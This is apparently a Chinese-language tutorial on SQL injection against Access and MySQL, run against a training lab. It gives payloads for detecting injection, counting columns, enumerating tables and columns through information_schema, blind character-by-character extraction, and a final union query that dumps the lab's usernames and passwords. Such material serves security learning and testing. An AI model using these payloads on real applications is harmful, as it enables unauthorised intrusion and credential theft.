SQL注入
access注入
access数据库类型
- 以.mdb后缀命名
- 可用office打开
注入基本流程
- 判断注入
- 单引号报错
- 逻辑性 and 1=1 and 1=2
- 变量做运算 - 减号
常见的注入查询
- 联合查询法
- and 1=1 and 1=2 ------判断注入
- order by 22 ------猜有多少列(猜到7列)
union select 1,2,3,4,5,6,7 from admin
------猜表名并记录回显位(报错说明表不存在,将admin换成别的继续猜)union select 1,2,username,4,5,6,7 from admin
——猜列名
- 逐字猜解法
and exists (select * from admin)
——猜表名and exists (select user_name from admin)
——猜列名- 查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(user_name ) from admin)=5
user_name 的长度=5,正常则=5,也可以用>,<号去判断)and (select top 1 asc(mid(user_name ,1,1)) from admin)=97
判断第一位(97代表‘a’的ascll值)and (select top 1 asc(mid(user_name ,2,1)) from admin)=97
判断第二位
MySQL注入
sql注入怎么产生
id变量通过get方式获取并且可直接拼接到sql语句中,而id参数用户可控,造成注入
mysql一般注入流程
流程:获取字段数-查库名-查表名-查列名-查数据
-
获取字段数
order by x
,通过不断修改x,得到其不报错的上限值通过order by 查询多少字段
order by 3
,假设3为临界值SELECT * FROM users WHERE id=1 order by 3
-
通过union查询数据库名,数据库版本,用户名
SELECT * FROM users WHERE id=1 union select 1,2,3
可将
1,2,3
修改为具体的sql函数sql函数:
database()
:获取数据库名
version()
:获取MySQL版本
user()
:获取用户名union select version(),database(),user()
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: Dumb
PASSWORD: Dumb
----------------------------------------------------------------------------------------------------
ID : 5.5.53
USERNAME: security
PASSWORD: root@localhost可以看到,sql的版本为
5.5.53
,数据库为security
,用户为root@localhost
-
通过union查询数据库中table名
得到当前数据库名之后就可查询数据库中所包含的表
union
语句:将不同表的两个列查询的数据去重拼接information_schema.tables
中记录了所有表名信息information_schema.columns
记录列名信息TABLE_SCHEMA
数据库字段,表所在的数据库的名字table_name
表名column_name
列名SELECT * FROM users WHERE id=1 union select 1,2,table_name FROM information_schema.tables where TABLE_SCHEMA=database()
注:由于之前通过
order by
得到临界值为3,在查找其他内容是需要把所有的字段都占住,因此1,2
不能少----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: Dumb
PASSWORD: Dumb
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: emails
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: referers
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: uagents
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: users可以看到,主要有
emails,referers,uagents,users
这几个表 -
通过union查询表中的列名
接下来查询
users
表中有哪些列column_name
列名union SELECT column_name FROM information_schema.columns where TABLE_name='users'
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: Dumb
PASSWORD: Dumb
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: id
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: username
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: 2
PASSWORD: password可以看到有
id,usename,password
这几列 -
通过列名查询数据
接下来查询列中具体的数据
union select 列名 from 库名.表名 # 库名不写也行
union select id,username,password from users
----------------------------------------------------------------------------------------------------
ID : 1
USERNAME: Dumb
PASSWORD: Dumb
----------------------------------------------------------------------------------------------------
ID : 2
USERNAME: Angelina
PASSWORD: I-kill-you
----------------------------------------------------------------------------------------------------
ID : 3
USERNAME: Dummy
PASSWORD: p@ssword
----------------------------------------------------------------------------------------------------
ID : 4
USERNAME: secure
PASSWORD: crappy
----------------------------------------------------------------------------------------------------
ID : 5
USERNAME: stupid
PASSWORD: stupidity
----------------------------------------------------------------------------------------------------
ID : 6
USERNAME: superman
PASSWORD: genious
----------------------------------------------------------------------------------------------------
ID : 7
USERNAME: batman
PASSWORD: mob!le
----------------------------------------------------------------------------------------------------
ID : 8
USERNAME: admin
PASSWORD: admin这样就可以看到帐号和密码了